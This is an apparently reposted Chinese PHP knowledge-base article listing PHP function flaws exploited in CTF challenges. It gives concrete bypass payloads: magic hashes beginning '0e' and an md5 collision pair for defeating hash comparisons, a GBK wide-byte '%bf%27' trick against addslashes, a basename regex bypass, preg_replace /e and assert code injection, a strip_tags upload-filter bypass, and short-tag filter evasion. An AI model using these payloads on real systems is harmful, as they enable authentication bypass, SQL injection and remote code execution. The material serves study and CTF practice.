IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> php常见函数缺陷 -> 正文阅读

[PHP知识库]php常见函数缺陷

var_dump

var_dump( 0 == "a" );			true
var_dump( "0" == "a" );			false

因为php把字母开头的转化为整型时,转化为0, 前面数字后面字母的话就只取到第一个字母出现的位置之前(如intval(’'123abd45gf)结果为123)

md5

比较值相等
$_GET['name'] != $_GET['password']
MD5($_GET['name']) == MD5($_GET['password'])

那么要求name和password数值不同但是MD5相同,在这里可以利用绕过。
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

以下值在sha1加密后以0E开头:

  • sha1(‘aaroZmOk’)
  • sha1(‘aaK1STfY’)
  • sha1(‘aaO8zKZF’)
  • sha1(‘aa3OFF9m’)
双md5
CbDLytmyGm2xQyaLNhWn
 
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
 
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
 
770hQgrBOjrcqftrlaZk
 
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
 
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
 
7r4lGXCH2Ksu2JNT3BYM
 
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
 
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
md5碰撞
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
        die("success!);
}

要求构造param1和param2不同,但是MD5相同,也就是说要求传入两个MD5相同的不同字符串。

Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

mysql_real_escape_string()

addslashes()

%bf%27本身不是一个有效的GBK字符,但经过  addslashes()  转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以%bf5c%27会被当作一个字符%bf5c和一个单引号来处理,结果漏洞就触发了
<?php			//data传入%bf%27
header("Content-Type:text/html;charset=gbk");
$data = $_GET['data'];
echo addslashes($data);

basename()

basename会忽略一些奇怪的字符%80 ~ %ff

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}
payload:/index.php/config.php/%81?source  绕过正则

preg_replace

preg_replace ($pattern , $replacement , $subject )

其中 $pattern为正则表达式

     $replacement为替换字符串

     $subject 为要搜索替换的目标字符串或字符串数组

这个函数存在一些奇异的地方,正则表达式 p a t t e r n 以 / e 结 尾 时 pattern以/e结尾时 pattern/ereplacement的值会被作为php函数执行。

例如执行 preg_replace (‘/test/e’ , “phpinfo();” , “test” )

“test”会被替换为phpinfo();并执行。

md4

$_GET["hash1"] != hash("md4", $_GET["hash1"])

例子 0e251288019

md4计算后为0e874956163641961271069404332409

strip_tags

thinkphp原生代码中的upload()上传功能,会对上传的文件名执行该函数。

利用该方法可以进行前端绕过。

当php进行上传文件后缀验证,过滤.php时。

一般情况下诸如 1.php是无法上传上去的,但是此处可以通过 构造文件名为 1.<a>php绕过该验证。

文件上传后不满足.php绕过过滤,但是在tp的原生上传函数被调用是<a>被去除,文件就会被以php格式上传

assert

这个函数是php的断言函数,用来判断一个表达式是否成立。返回true or false。

注:assert执行的字符串包含的php语句如果有多条,只会执行第一条。

该表达式会被当做php函数来执行,相当于eval()

在ctf中该函数也有一定的可利用性,如xctf中的一题

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

$file为用户传入的字符串,这里构造file=’).phpinfo();//

此时语句变成了assert(“strpos(’’).phpinfo();// ===false” ) or die (" ")

相当于 assert(“strpos(’’).phpinfo();” )

phpinfo()就被注入进去并执行了。

php标签的写法

  1. <?php ?>
    常规写法

  2. <? ?>
    注:

     利用短标签写法可以绕过一些对php字符的过滤
     Windows环境中短标签默认是打开的,Linux下 默认是关闭的。
     控制参数: php支持短标签,需要我们把short_open_tag 设置为On.
    
  3. <% %>
    注:需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。

  4. <script language=”php”> </script>

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-12 23:13:52  更:2021-10-12 23:14:10 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 13:25:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计